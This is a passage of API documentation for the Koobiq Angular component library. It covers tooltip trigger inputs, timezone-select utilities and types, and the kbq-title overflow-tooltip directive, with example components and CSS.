    context: unknown;
    color: KbqComponentColors | string;
    arrow: boolean;
    arrowCentered: boolean;
    offset: number | null;
    readonly placementChange: EventEmitter<KbqPopUpPlacementValues>;
    readonly visibleChange: EventEmitter<boolean>;
    modifier: KbqEnumValues<TooltipModifier>;
    header: string | TemplateRef<unknown>;
    isOpen: boolean;
    get isAttached(): boolean;
    get openedChange(): Observable<boolean>;
    handleElementEnter(): void;
    handleElementLeave(): void;
    show(delay?: number): void;
    hide(delay?: number): void;
    showForMouseEvent(event: MouseEvent): void;
    showForElement(element: HTMLElement): void;
    updateOrigin(origin: KbqOverlayOrigin | null): void;
}
```

- `[ignoreTooltipPointerEvents]`: `boolean` — Overrides the tooltip's hoverable default. The overflow hint floats over the neighbouring options of a
  scrolling list, so a pointer-capturing pane would swallow the click that selects them.
- `[forDisabledComponent]`: `Record<'disabledSignal', WritableSignal<boolean>>` — Input for controlling the disabled state of a component.

  The input expects a component containing `disabledSignal` property, which is
  a writable signal emitting boolean values.
- `[kbqTooltipSingleInstance]`: `boolean` — Whether the tooltip takes part in the "only one tooltip is visible at a time" group: showing it
  hides the previously visible tooltip, and it is hidden when another tooltip is shown.

  Defaults to `true`; the default can be changed application-wide with the
  `KBQ_TOOLTIP_SINGLE_INSTANCE_DEFAULT` token.

  Tooltips without an interactive `kbqTrigger` (`manual`, `none`, …) never take part in the group,
  regardless of this input — they are shown imperatively and are expected to stay pinned.
- `[hideWithTimeout]`: `boolean | undefined` — Changes hiding behavior. By default, tooltip is hidden on mouseleave from trigger.
  Setting hideWithTimeout to true will delay tooltip hiding and will not hide when the mouse moves from trigger
  to tooltip.
- `tooltipVisible`: `boolean` — Input (`kbqVisible`) that programmatically shows or hides the tooltip; reflects the current `visible` state.
- `tooltipPlacement`: `KbqPopUpPlacementValues` — Input (`kbqPlacement`) that sets the tooltip placement relative to its trigger; reflects the current `placement`.
- `relativeToPointer`: `boolean` — Positions the tooltip relative to the mouse cursor. Only available for top and bottom kbqPlacement.
  Does not work with kbqPlacementPriority.
- `relativeToCaret`: `boolean` — Positions the tooltip relative to the text caret of the field it is attached to, following it while the
  user types, moves the caret and scrolls the field. Anchors to the selection whenever there is one.

  Every placement is available, unlike with `kbqRelativeToPointer`: the caret is anchored as a rectangle,
  so the usual fallback placements keep the tooltip on screen. Wins when both inputs are enabled.

  The field is the host element itself when it is editable, otherwise the first editable it wraps.
- `relativeToCaretVertical`: `KbqCaretVerticalAnchor` — What the tooltip is vertically anchored to while `kbqRelativeToCaret` is enabled.
- `tooltipPlacementPriority`: `string | string[] | null` — Input (`kbqPlacementPriority`) that sets the ordered fallback placements; reflects the current `placementPriority`.
- `content`: `string | TemplateRef<unknown>` — Input (`kbqTooltip`) with the tooltip content — a string or a template. Updating it refreshes an open tooltip.
- `disabled`: `boolean` — Input (`kbqTooltipDisabled`) controlling whether the tooltip is disabled; setting it to `true` hides it.
  `undefined` leaves the decision to the trigger, like an unset input.

  Reads back the *effective* state, which for triggers that derive one of their own (see
  `derivedDisabledWins`) is not necessarily the value that was written.
- `enterDelay`: `number` — Input (`kbqEnterDelay`) — delay in milliseconds before the tooltip is shown. Defaults to `400`.
- `leaveDelay`: `number` — Input (`kbqLeaveDelay`) — delay in milliseconds before the tooltip is hidden. Defaults to `0`.
- `trigger`: `string` — Input (`kbqTrigger`) with the comma-separated trigger events. An empty value resets to hover + focus and rebinds listeners.
- `customClass`: `string` — Input (`kbqTooltipClass`) with an extra CSS class applied to the tooltip; updating it refreshes the class map.
- `context`: `unknown` — Input (`kbqTooltipContext`) with the context object passed to a template tooltip; updating it refreshes the open tooltip.
- `color`: `KbqComponentColors | string` — Input (`kbqTooltipColor`) with the tooltip color theme. Defaults to `KbqComponentColors.Contrast`.
- `arrow`: `boolean` — Input (`kbqTooltipArrow`) — whether to render the tooltip's arrow/pointer. Defaults to `false`.
- `arrowCentered`: `boolean` — Input (`kbqTooltipArrowCentered`) — centers the arrow on the trigger while preserving the panel placement.
  Requires a visible arrow. Defaults to `false`.
- `offset`: `number | null` — Input (`kbqTooltipOffset`) — distance in pixels between the tooltip and its trigger. `null` keeps
  the gap of the stylesheet. Defaults to the `offset` of `KBQ_TOOLTIP_DEFAULT_OPTIONS`, when a
  provider in scope set one. Inside a provider scope such as the navbar's, `null`/`undefined` restores
  that inherited default.
- `placementChange`: `EventEmitter<KbqPopUpPlacementValues>` — Output (`kbqPlacementChange`) that emits the new placement whenever the tooltip repositions.
- `visibleChange`: `EventEmitter<boolean>` — Output (`kbqVisibleChange`) that emits when the tooltip's visibility changes.
- `modifier`: `KbqEnumValues<TooltipModifier>` — Visual variant of the tooltip. Accepts `'default'` | `'warning'` | `'extended'`.
  Replaces the removed `KbqWarningTooltipTrigger` and `KbqExtendedTooltipTrigger`
  subclasses — to render a warning tooltip use `kbqTooltipModifier="warning"`,
  and `kbqTooltipModifier="extended"` for the extended variant (combine with `kbqTooltipHeader`).
- `header`: `string | TemplateRef<unknown>` — Header text or template, rendered above the tooltip content. Only meaningful with
  `kbqTooltipModifier="extended"`. Replaces the removed `KbqExtendedTooltipTrigger.header`.
- `isOpen`: `boolean` — Whether the pop-up overlay is currently open.
- `isAttached`: `boolean` — Whether the pop-up overlay is currently attached.

  Unlike `isOpen`, which follows the visibility of the pop-up component and therefore lags a task behind
  `show()`/`hide()`, this flips synchronously — it is the window during which the overlay (and its
  backdrop) is present in the DOM. Part of the `KbqSiblingPopup` contract.
- `openedChange`: `Observable<boolean>` — Emits `true` when the pop-up opens and `false` when it closes. Part of the `KbqSiblingPopup` contract.
- `show()`: `void` — Shows the tooltip after `delay` ms. Suppresses showing while a pop-up on the same element holds the
  anchor or on a focus trigger that did not originate from the keyboard, and applies cursor-relative
  positioning when `relativeToPointer` is enabled.
- `hide()`: `void` — Hides the tooltip after `delay` ms and, when the user has genuinely left the host, un-mutes a tooltip
  that a pop-up on the same element had muted.

  `mouseleave` and `blur` are the release signals because the base class binds `hide` to both regardless
  of whether the tooltip is currently visible. A pop-up that is still attached does not count: its
  backdrop steals the hover from the trigger while the pointer stands still, and that `mouseleave` must
  not be mistaken for the user leaving.
- `showForMouseEvent()`: `void` — Shows the tooltip next to the cursor position of the given mouse event, anchoring it to the event's
  `currentTarget` instead of the directive's own host element.

  Use it when the trigger cannot be declared in the template — for instance for a tooltip shared by the
  cells of a virtualized table. The directive still has to be created in an injection context.
- `showForElement()`: `void` — Shows the tooltip anchored to the given element instead of the directive's own host element.

  Use it when the trigger cannot be declared in the template. The directive still has to be created in an
  injection context:

  ```ts
  const tooltip = runInInjectionContext(injector, () => new KbqTooltipTrigger());
  tooltip.showForElement(element);
  ```

  Does nothing while the tooltip is disabled or has no content — there is no overlay to anchor then.
- `updateOrigin()`: `void` — Positions the pop-up against `origin` — an element, or a rectangle in viewport coordinates such as the one
  `kbqCreateCaretOrigin` keeps on the caret — instead of the host element; `null` restores the host
  element. An open pop-up moves to the new origin at once.

  This moves the position origin only. `setExternalNativeElement` moves the host itself, and with it
  the trigger's event listeners, its focus target and the scroll containers the pop-up follows.

##### KbqTimezoneSelectTrigger (directive)

```ts
@Directive({ selector: 'kbq-timezone-select-trigger' })
class KbqTimezoneSelectTrigger {}
```

#### Pipes

##### CitiesByFilterPipe (pipe)

Narrows a `', '`-joined city list to the entries matching the search pattern(s).

```ts
@Pipe({ name: 'citiesByFilter' })
class CitiesByFilterPipe implements PipeTransform {
    transform(
        value: string,
        searchPattern?: string | readonly string[]
    ): string;
}
```

##### UtcOffsetPipe (pipe)

Splits an `HH:MM:SS` offset into the `UTC` prefix and the signed offset, for a two-column layout.

```ts
@Pipe({ name: 'utcOffset' })
class UtcOffsetPipe implements PipeTransform {
    transform(value: string): { [UTC: string]: string };
}
```

#### Functions

##### collapseOtherCountries (function)

Merges every group other than `countryCode` into one bucket labelled `otherCountriesLabel`, placed after
the country it promotes. The bucket spans countries, so its `countryCode` is `null`.

This is the shape a world-wide list is usually rendered in: the user's own country first, everything else
collapsed behind one label.

```ts
function collapseOtherCountries(
    groups: readonly KbqTimezoneGroup[],
    countryCode: string | null | undefined,
    otherCountriesLabel: string
): KbqTimezoneGroup[];
```

##### filterCitiesBySearchString (function)

Filtering timezone cities by search string. Accepts a single pattern or several (matching a
city if it satisfies any one of them) — patterns that look like a bare UTC offset (e.g. `+3`)
are ignored here, since they describe the zone rather than a city name.

```ts
function filterCitiesBySearchString(
    cities: string,
    searchPattern?: string | readonly string[]
): string;
```

##### getZonesGroupedByCountry (function)

Groups zones by `KbqTimezoneZone.countryCode` — one group per country, ordered by country name,
with the zones inside each group ordered by `timezonesSortComparator`.

Pure: the same input produces the same groups on any machine, which is what makes it safe to run on the
server and again in the browser. To put the user's own country first, pass the result through
`promoteCountry` or `collapseOtherCountries`, and read the country itself with
`kbqResolveHostCountry`.

```ts
function getZonesGroupedByCountry(
    data: readonly KbqTimezoneZone[]
): KbqTimezoneGroup[];
```

##### kbqResolveHostCountry (function)

Country code of the zone whose `id` is the time zone of the machine this runs on, or `undefined` when
`data` has no row for it.

Reads `Intl`, so the answer is the host's: on the server that is the server's zone rather than the user's,
and the value it produces there will not match the one the browser produces on hydration. It is kept
apart from the grouping for exactly that reason — call it where host-dependence is acceptable and pass
the result on.

```ts
function kbqResolveHostCountry(
    data: readonly KbqTimezoneZone[]
): string | undefined;
```

##### offset (function)

Formats an `HH:MM:SS` offset as a signed `±HH:MM`, with U+2212 for the minus sign.

```ts
function offset(value: string): string;
```

##### offsetFormatter (function)

Formats an `HH:MM:SS` offset the way the option renders it: `UTC+03:00`.

```ts
function offsetFormatter(value: string): string;
```

##### offsetFormatterAsObject (function)

The same as `offsetFormatter`, split into the `UTC` prefix and the offset for two-column layouts.

```ts
function offsetFormatterAsObject(
    value: string
): { [UTC: string]: string };
```

##### parseOffset (function)

Convert string timezone offset (formatted offset) to number (minutes)

```ts
function parseOffset(offset: string): number;
```

##### promoteCountry (function)

Moves the group of `countryCode` to the front, leaving the rest in their order. Returns a new array; a
country the groups do not contain, or no country at all, leaves the order untouched.

```ts
function promoteCountry(
    groups: readonly KbqTimezoneGroup[],
    countryCode: string | null | undefined
): KbqTimezoneGroup[];
```

##### resolveZoneOffset (function)

Offset `zone` is on at `timestamp`, written the way `KbqTimezoneZone.offset` is, or an empty string
when the zone identifies neither a fixed offset nor a time zone `Intl` knows.

A zone that carries an explicit `offset` keeps that string verbatim. A zone without one has the offset
resolved from its IANA `id`, which is what makes a DST zone read `UTC+01:00` in January and `UTC+02:00`
in July instead of whichever of the two was written into the data.

```ts
function resolveZoneOffset(
    zone: KbqTimezoneZone,
    timestamp?: number
): string;
```

##### timezonesSortComparator (function)

Comparator for timezone sorting. Orders by the offset each zone is on right now, then by city name — the
country cannot discriminate here, since every zone reaching this inside a group already shares one.

A zone whose offset resolves to nothing sorts after every zone that has one, rather than as UTC.

```ts
function timezonesSortComparator(
    first: KbqTimezoneZone,
    second: KbqTimezoneZone
): number;
```

#### Types

##### KbqTimezoneGroup (interface)

A group of zones rendered under one label.

```ts
interface KbqTimezoneGroup {
    countryName: string;
    countryCode: string | null;
    zones: KbqTimezoneZone[];
}
```

- `countryName`: `string` — Label of the group: a country name, or the "other countries" label of an aggregate bucket.
- `countryCode`: `string | null` — Country the group stands for, or `null` for an aggregate bucket that spans several countries
  (the one `collapseOtherCountries` produces).
- `zones`: `KbqTimezoneZone[]` — Zones of the group, sorted by offset and then by city.

##### KbqTimezonesByCountry (interface)

Zones bucketed by country code, the intermediate shape of the grouping utilities.

```ts
interface KbqTimezonesByCountry {
    [countryCode: string]: KbqTimezoneZone[];
}
```

##### KbqTimezoneZone (interface)

One row of the timezone list: a zone, the city it is named after and the country it belongs to.

```ts
interface KbqTimezoneZone {
    id: string;
    offset?: string;
    city: string;
    countryCode: string;
    countryName: string;
    cities: string;
}
```

- `id`: `string` — IANA time zone name, e.g. `Europe/Berlin`. Used as the form value and to resolve the offset.
- `offset?`: `string` — Fixed offset from UTC, written as `HH:MM:SS` with an optional leading `-` (`03:00:00`, `-02:00:00`).

  Optional, and omitting it is the safer choice: the offset is then resolved from `id` at render
  time, so a zone that observes DST is labelled correctly on both sides of the change. A string
  supplied here is rendered verbatim and never recomputed — the consumer owns keeping it current.
- `city`: `string` — Name of the city the zone is displayed under.
- `countryCode`: `string` — ISO 3166-1 alpha-2 code of the country the zone belongs to. Matched case-insensitively.
- `countryName`: `string` — Display name of the country the zone belongs to.
- `cities`: `string` — Other cities in the zone, joined with `', '`.

#### Constants

##### kbqTimezoneLocaleConfigurationProvider (const)

Utility provider for `KBQ_TIMEZONE_LOCALE_CONFIGURATION`. Only the strings you pass are overridden; the rest keep
following the active locale.

```ts
const kbqTimezoneLocaleConfigurationProvider: (
    configuration: KbqDeepPartial<KbqTimezoneLocaleConfiguration>
) => Provider;
```

## Title

- Entry point: `@koobiq/components/title`
- NgModule: `KbqTitleModule`
- Page: https://koobiq.io/en/components/title/overview

### Overview

The `kbq-title` directive shows a [tooltip](https://koobiq.io/en/components/tooltip.md) with the full text when the element's content does not fit and is truncated with an ellipsis. The tooltip appears only on actual overflow — on hover or keyboard focus — and stays out of the way when the text is fully visible.

**Example: Title** (`title-overview`)

```ts title-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqTitleModule } from '@koobiq/components/title';

@Component({
    selector: 'title-overview-example',
    imports: [
        KbqTitleModule,
        KbqButtonModule
    ],
    template: `
        <div class="example-title-overview-container example-title-overview-container-responsive">
            <div class="example-title-overview-child wide kbq-text-big" kbq-title>
                {{ longValue }}
            </div>
        </div>
    `,
    styleUrls: ['./title-overview-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TitleOverviewExample {
    defaultValue = 'Just a text';
    longValue = `${this.defaultValue} and a long text and a long text and a long text and a long text and a long text and a long text`;
    field = this.defaultValue;

    onAddText() {
        this.field = `${this.field} and a long text and a long text and a long text`;
    }
}
```

```css ./title-overview-example.css
.example-title-overview-container {
    max-width: 400px;

    display: flex;
    flex-direction: column;
}

.example-title-overview-container.example-title-overview-container-responsive {
    max-width: 50%;
}

.example-title-overview-child {
    flex-grow: 1;
    overflow: hidden;
    white-space: nowrap;
    text-overflow: ellipsis;
}
```

#### Key features

- The tooltip appears only when the text overflows — horizontally or vertically (when clamped to a number of lines). If the text fits, no tooltip is shown.
- Works both with plain text and with complex nested markup via the `#kbqTitleContainer` (measured container) and `#kbqTitleText` (text element) template references.
- Supports multiple `#kbqTitleText` elements: the tooltip is shown if any of them overflows.
- Lets you provide custom tooltip content — a string or a template — through the `[kbq-title]` attribute.
- While the pointer or the keyboard focus is on the element, tracks content changes and container resizes — including those that do not resize the window, such as dragging a splitter or collapsing a sidebar — and shows or hides the tooltip as the text starts or stops fitting.
- Accessibility: the tooltip opens on keyboard focus and hides when focus is lost.

#### Container and text

To detect overflow correctly in nested markup, mark the measured container with `#kbqTitleContainer` and the text element with `#kbqTitleText`. The directive compares the container and text sizes and shows the tooltip when the text does not fit.

```html
<div kbq-title>
    <div #kbqTitleContainer>
        <div #kbqTitleText>{{ value }}</div>
    </div>
</div>
```

#### Multiple text elements

When the container holds several text elements (for example, a name and a value in a [filter-bar](https://koobiq.io/en/components/filter-bar.md) pipe), mark each of them with `#kbqTitleText`. The tooltip appears if at least one element overflows.

**Example: Multiple text elements** (`title-multiple-text`)

```ts title-multiple-text-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqTitleModule } from '@koobiq/components/title';

@Component({
    selector: 'title-multiple-text-example',
    imports: [KbqTitleModule],
    template: `
        <div class="example-title-multiple-text" kbq-title>
            <div #kbqTitleContainer class="example-title-multiple-text__row">
                <span #kbqTitleText class="example-title-multiple-text__name kbq-text-normal">{{ name }}:</span>
                <span #kbqTitleText class="example-title-multiple-text__value kbq-text-normal">{{ value }}</span>
            </div>
        </div>
    `,
    styleUrls: ['./title-multiple-text-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TitleMultipleTextExample {
    name = 'Status';
    value = 'A long value that does not fit and is truncated with an ellipsis';
}
```

```css ./title-multiple-text-example.css
.example-title-multiple-text {
    max-width: 280px;
}

.example-title-multiple-text__row {
    display: flex;
    flex-direction: row;
    gap: 4px;

    max-width: 100%;
    overflow: hidden;
}

.example-title-multiple-text__name {
    flex-shrink: 0;
    white-space: nowrap;
}

.example-title-multiple-text__value {
    flex-grow: 1;

    overflow: hidden;
    white-space: nowrap;
    text-overflow: ellipsis;
}
```

#### Multiline text

The directive accounts for vertical overflow as well as horizontal. This is useful when the text is clamped to several lines (`-webkit-line-clamp`).

**Example: Multiline text** (`title-vertical-overflow`)

```ts title-vertical-overflow-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqTitleModule } from '@koobiq/components/title';

@Component({
    selector: 'title-vertical-overflow-example',
    imports: [KbqTitleModule],
    template: `
        <div class="example-title-vertical-overflow kbq-text-normal" kbq-title>
            {{ longValue }}
        </div>
    `,
    styleUrls: ['./title-vertical-overflow-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TitleVerticalOverflowExample {
    longValue =
        'A long multiline text clamped to two lines. When it does not fit into the allotted lines, the title directive shows a tooltip with the full content.';
}
```

```css ./title-vertical-overflow-example.css
.example-title-vertical-overflow {
    display: -webkit-box;

    max-width: 280px;
    overflow: hidden;
    overflow-wrap: break-word;
    text-overflow: ellipsis;

    -webkit-box-orient: vertical;
    -webkit-line-clamp: 2;
}
```

#### Custom tooltip content

By default the truncated text of the element is used as the tooltip content. To provide custom content, pass a string or a template reference (`TemplateRef`) to the `[kbq-title]` attribute. This is handy when you need formatted text or extra information.

**Example: Custom tooltip content** (`title-custom-content`)

```ts title-custom-content-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTitleModule } from '@koobiq/components/title';

@Component({
    selector: 'title-custom-content-example',
    imports: [
        KbqTitleModule,
        KbqIconModule
    ],
    template: `
        <div class="example-title-custom-content">
            <div class="kbq-subheading">Plain string content</div>
            <div class="example-title-custom-content__row kbq-text-normal" [kbq-title]="stringContent">
                {{ longValue }}
            </div>

            <div class="kbq-subheading">Rich template content</div>
            <div class="example-title-custom-content__row kbq-text-normal" [kbq-title]="templateContent">
                {{ longValue }}
            </div>
        </div>

        <ng-template #templateContent>
            <div class="example-title-custom-content__tooltip">
                <i kbq-icon="kbq-circle-info_16" style="color: var(--kbq-icon-white)"></i>
                <span>Rich tooltip with custom markup</span>
            </div>
        </ng-template>
    `,
    styleUrls: ['./title-custom-content-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TitleCustomContentExample {
    longValue = 'A long text that does not fit into the container and is truncated with an ellipsis';
    stringContent = 'Tooltip content provided as a plain string';
}
```

```css ./title-custom-content-example.css
.example-title-custom-content {
    display: flex;
    flex-direction: column;
    gap: 8px;

    max-width: 320px;
}

.example-title-custom-content__row {
    overflow: hidden;
    white-space: nowrap;
    text-overflow: ellipsis;
}

.example-title-custom-content__tooltip {
    display: flex;
    flex-direction: row;
    align-items: center;
    gap: 8px;
}
```

#### Two-line list options

In two-line [list](https://koobiq.io/en/components/list.md) options a single `kbq-title` directive can cover the whole option. Mark both lines (name and description) with `#kbqTitleText` and the shared container with `#kbqTitleContainer`. The tooltip appears when at least one of the lines overflows and shows the full text of the option.

**Example: Two-line list options** (`title-list-option`)

```ts title-list-option-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqListModule } from '@koobiq/components/list';
import { KbqTitleModule } from '@koobiq/components/title';

@Component({
    selector: 'title-list-option-example',
    imports: [
        KbqListModule,
        KbqTitleModule,
        KbqIconModule,
        FormsModule
    ],
    template: `
        <kbq-list-selection class="example-title-list" [(ngModel)]="selected">
            @for (server of servers; track server.value) {
                <kbq-list-option [value]="server.value">
                    <div kbq-title class="layout-row layout-align-space-between-center">
                        <div #kbqTitleContainer class="layout-column example-title-list__text">
                            <div #kbqTitleText class="server__name kbq-truncate-line">{{ server.name }}</div>

                            <div #kbqTitleText kbq-list-option-caption class="server__description kbq-truncate-line">
                                {{ server.description }}
                            </div>
                        </div>
                    </div>
                </kbq-list-option>
            }
        </kbq-list-selection>
    `,
    styleUrls: ['./title-list-option-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TitleListOptionExample {
    selected = [];
    servers = [
        {
            value: 'server-1',
            name: 'serverName serverName serverName serverName serverName serverName serverName serverName',
            description: 'description serverName serverName serverName serverName serverName'
        },
        {
            value: 'server-2',
            name: 'shortName',
            description: 'short description'
        },
        {
            value: 'server-3',
            name: 'anotherServer anotherServer anotherServer anotherServer anotherServer anotherServer',
            description: 'description anotherServer anotherServer anotherServer anotherServer'
        }
    ];
}
```

```css ./title-list-option-example.css
.example-title-list {
    max-width: 320px;
}

/* Allow the text column to shrink below its content width so each kbq-truncate-line row clips
   and the kbq-title directive can detect the overflow. */
.example-title-list__text {
    flex: 1;
    min-width: 0;
}
```

#### Triggers

The tooltip always opens on hover and on keyboard focus. `kbqTrigger` is a single input alias shared with
[Tooltip](https://koobiq.io/en/components/tooltip.md) and [Popover](https://koobiq.io/en/components/popover.md), so an element carrying both `kbq-title`
and `kbqPopover` passes one value to both directives — `kbq-title` accepts it and keeps its own behavior. Use
`kbqTooltip` or `kbqPopover` when you need a custom trigger.

#### Recommendations

- Use `kbq-title` for text that can be truncated: headings, table cells, values in filters and lists.
- If the tooltip must always be shown (not only on overflow) or contain interactive elements, use [Tooltip](https://koobiq.io/en/components/tooltip.md) or [Popover](https://koobiq.io/en/components/popover.md).
- Keep the tooltip content short and clear.

### API

#### Directives

##### KbqTitleDirective (directive)

Shows a tooltip with the full text of the host element, but only when that text is truncated —
i.e. it overflows horizontally, or vertically when clamped to several lines. The tooltip opens on
hover and on keyboard focus, and hides on blur, mouse leave, or a resize of the measured container.

By default, the tooltip content is the trimmed `textContent` of the host. Provide explicit content
with `[kbq-title]="stringOrTemplateRef"`. For nested markup, mark the measured container with the
`#kbqTitleContainer` template reference and the text element(s) with `#kbqTitleText`; several
`#kbqTitleText` elements are supported and the tooltip is shown when any of them overflows the container
or is clipped by its siblings.

Host components that provide `KBQ_TITLE_TEXT_REF` (e.g. `KbqOption`) supply the text and parent
elements automatically, so the directive works without explicit template references.

```ts
@Directive({ selector: '[kbq-title]', exportAs: 'kbqTitle' })
class KbqTitleDirective extends KbqTooltipTrigger {
    readonly titleContent = input<TemplateRef<unknown> | string>('', {
        alias: 'kbq-title'
    });
    readonly ignoreTooltipPointerEvents = input<boolean>(true);
    readonly forDisabledComponent = input<Record<'disabledSignal', WritableSignal<boolean>>>();
    readonly singleInstance = input<boolean>(
        inject(KBQ_TOOLTIP_SINGLE_INSTANCE_DEFAULT),
        { alias: 'kbqTooltipSingleInstance' }
    );
    hideWithTimeout = input<boolean | undefined>();
    trigger: string;
    get isOverflown(): boolean;
    get viewValue(): string;
    tooltipVisible: boolean;
    tooltipPlacement: KbqPopUpPlacementValues;
    relativeToPointer: boolean;
    relativeToCaret: boolean;
    relativeToCaretVertical: KbqCaretVerticalAnchor;
    tooltipPlacementPriority: string | string[] | null;
    content: string | TemplateRef<unknown>;
    disabled: boolean;
    enterDelay: number;
    leaveDelay: number;
    customClass: string;
    context: unknown;
    color: KbqComponentColors | string;
    arrow: boolean;
    arrowCentered: boolean;
    offset: number | null;
    readonly placementChange: EventEmitter<KbqPopUpPlacementValues>;
    readonly visibleChange: EventEmitter<boolean>;
    modifier: KbqEnumValues<TooltipModifier>;
    header: string | TemplateRef<unknown>;
    isOpen: boolean;
    get isAttached(): boolean;
    get openedChange(): Observable<boolean>;
    show(delay?: number): void;
    hide(delay?: number): void;
    showForMouseEvent(event: MouseEvent): void;
    showForElement(element: HTMLElement): void;
    updateOrigin(origin: KbqOverlayOrigin | null): void;
}
```

- `[kbq-title]`: `TemplateRef<unknown> | string` — Optional explicit tooltip content. Accepts a `TemplateRef` (rendered as rich tooltip content) or a string.
  When omitted (a bare `kbq-title` attribute resolves to an empty string), the directive falls back to the
  trimmed `textContent` of the host (`viewValue`), preserving the default behavior.
- `[ignoreTooltipPointerEvents]`: `boolean` — Overrides the tooltip's hoverable default, as `KbqOptionTooltip` does. The hint spells out text that
  the host had to truncate, so it floats over the neighbouring content — and a pointer-capturing pane
  would swallow the clicks meant for it.
- `[forDisabledComponent]`: `Record<'disabledSignal', WritableSignal<boolean>>` — Input for controlling the disabled state of a component.

  The input expects a component containing `disabledSignal` property, which is
  a writable signal emitting boolean values.
- `[kbqTooltipSingleInstance]`: `boolean` — Whether the tooltip takes part in the "only one tooltip is visible at a time" group: showing it
  hides the previously visible tooltip, and it is hidden when another tooltip is shown.

  Defaults to `true`; the default can be changed application-wide with the
  `KBQ_TOOLTIP_SINGLE_INSTANCE_DEFAULT` token.

  Tooltips without an interactive `kbqTrigger` (`manual`, `none`, …) never take part in the group,
  regardless of this input — they are shown imperatively and are expected to stay pinned.
- `[hideWithTimeout]`: `boolean | undefined` — Changes hiding behavior. By default, tooltip is hidden on mouseleave from trigger.
  Setting hideWithTimeout to true will delay tooltip hiding and will not hide when the mouse moves from trigger
  to tooltip.
- `trigger`: `string` — `kbqTrigger` is a single input alias shared by the tooltip, the popover and this directive, so a host
  carrying both `kbq-title` and `kbqPopover` feeds one value to both. The title tooltip ignores it and
  always behaves as hover + keyboard focus; the setter exists only so such a host keeps working.

  Unifying the alias family is a breaking change owned by the pop-up base, not a title-local fix.
- `isOverflown`: `boolean` — Whether the host content is clipped and therefore needs a tooltip. Returns `true` if any measured
  text element overflows the parent — covering multiple `#kbqTitleText` elements, the sub-pixel
  special case, and both horizontal and vertical overflow — or, with several text elements, if one of
  them clips its own content.
- `viewValue`: `string` — Trimmed `textContent` of the measured parent, used as the default tooltip content.
- `tooltipVisible`: `boolean` — Input (`kbqVisible`) that programmatically shows or hides the tooltip; reflects the current `visible` state.
- `tooltipPlacement`: `KbqPopUpPlacementValues` — Input (`kbqPlacement`) that sets the tooltip placement relative to its trigger; reflects the current `placement`.
- `relativeToPointer`: `boolean` — Positions the tooltip relative to the mouse cursor. Only available for top and bottom kbqPlacement.
  Does not work with kbqPlacementPriority.
- `relativeToCaret`: `boolean` — Positions the tooltip relative to the text caret of the field it is attached to, following it while the
  user types, moves the caret and scrolls the field. Anchors to the selection whenever there is one.

  Every placement is available, unlike with `kbqRelativeToPointer`: the caret is anchored as a rectangle,
  so the usual fallback placements keep the tooltip on screen. Wins when both inputs are enabled.

  The field is the host element itself when it is editable, otherwise the first editable it wraps.
- `relativeToCaretVertical`: `KbqCaretVerticalAnchor` — What the tooltip is vertically anchored to while `kbqRelativeToCaret` is enabled.
- `tooltipPlacementPriority`: `string | string[] | null` — Input (`kbqPlacementPriority`) that sets the ordered fallback placements; reflects the current `placementPriority`.
- `content`: `string | TemplateRef<unknown>` — Input (`kbqTooltip`) with the tooltip content — a string or a template. Updating it refreshes an open tooltip.
- `disabled`: `boolean` — Input (`kbqTooltipDisabled`) controlling whether the tooltip is disabled; setting it to `true` hides it.
  `undefined` leaves the decision to the trigger, like an unset input.

  Reads back the *effective* state, which for triggers that derive one of their own (see
  `derivedDisabledWins`) is not necessarily the value that was written.
- `enterDelay`: `number` — Input (`kbqEnterDelay`) — delay in milliseconds before the tooltip is shown. Defaults to `400`.
- `leaveDelay`: `number` — Input (`kbqLeaveDelay`) — delay in milliseconds before the tooltip is hidden. Defaults to `0`.
- `customClass`: `string` — Input (`kbqTooltipClass`) with an extra CSS class applied to the tooltip; updating it refreshes the class map.
- `context`: `unknown` — Input (`kbqTooltipContext`) with the context object passed to a template tooltip; updating it refreshes the open tooltip.
- `color`: `KbqComponentColors | string` — Input (`kbqTooltipColor`) with the tooltip color theme. Defaults to `KbqComponentColors.Contrast`.
- `arrow`: `boolean` — Input (`kbqTooltipArrow`) — whether to render the tooltip's arrow/pointer. Defaults to `false`.
- `arrowCentered`: `boolean` — Input (`kbqTooltipArrowCentered`) — centers the arrow on the trigger while preserving the panel placement.
  Requires a visible arrow. Defaults to `false`.
- `offset`: `number | null` — Input (`kbqTooltipOffset`) — distance in pixels between the tooltip and its trigger. `null` keeps
  the gap of the stylesheet. Defaults to the `offset` of `KBQ_TOOLTIP_DEFAULT_OPTIONS`, when a
  provider in scope set one. Inside a provider scope such as the navbar's, `null`/`undefined` restores
  that inherited default.
- `placementChange`: `EventEmitter<KbqPopUpPlacementValues>` — Output (`kbqPlacementChange`) that emits the new placement whenever the tooltip repositions.
- `visibleChange`: `EventEmitter<boolean>` — Output (`kbqVisibleChange`) that emits when the tooltip's visibility changes.
- `modifier`: `KbqEnumValues<TooltipModifier>` — Visual variant of the tooltip. Accepts `'default'` | `'warning'` | `'extended'`.
  Replaces the removed `KbqWarningTooltipTrigger` and `KbqExtendedTooltipTrigger`
  subclasses — to render a warning tooltip use `kbqTooltipModifier="warning"`,
  and `kbqTooltipModifier="extended"` for the extended variant (combine with `kbqTooltipHeader`).
- `header`: `string | TemplateRef<unknown>` — Header text or template, rendered above the tooltip content. Only meaningful with
  `kbqTooltipModifier="extended"`. Replaces the removed `KbqExtendedTooltipTrigger.header`.
- `isOpen`: `boolean` — Whether the pop-up overlay is currently open.
- `isAttached`: `boolean` — Whether the pop-up overlay is currently attached.

  Unlike `isOpen`, which follows the visibility of the pop-up component and therefore lags a task behind
  `show()`/`hide()`, this flips synchronously — it is the window during which the overlay (and its
  backdrop) is present in the DOM. Part of the `KbqSiblingPopup` contract.
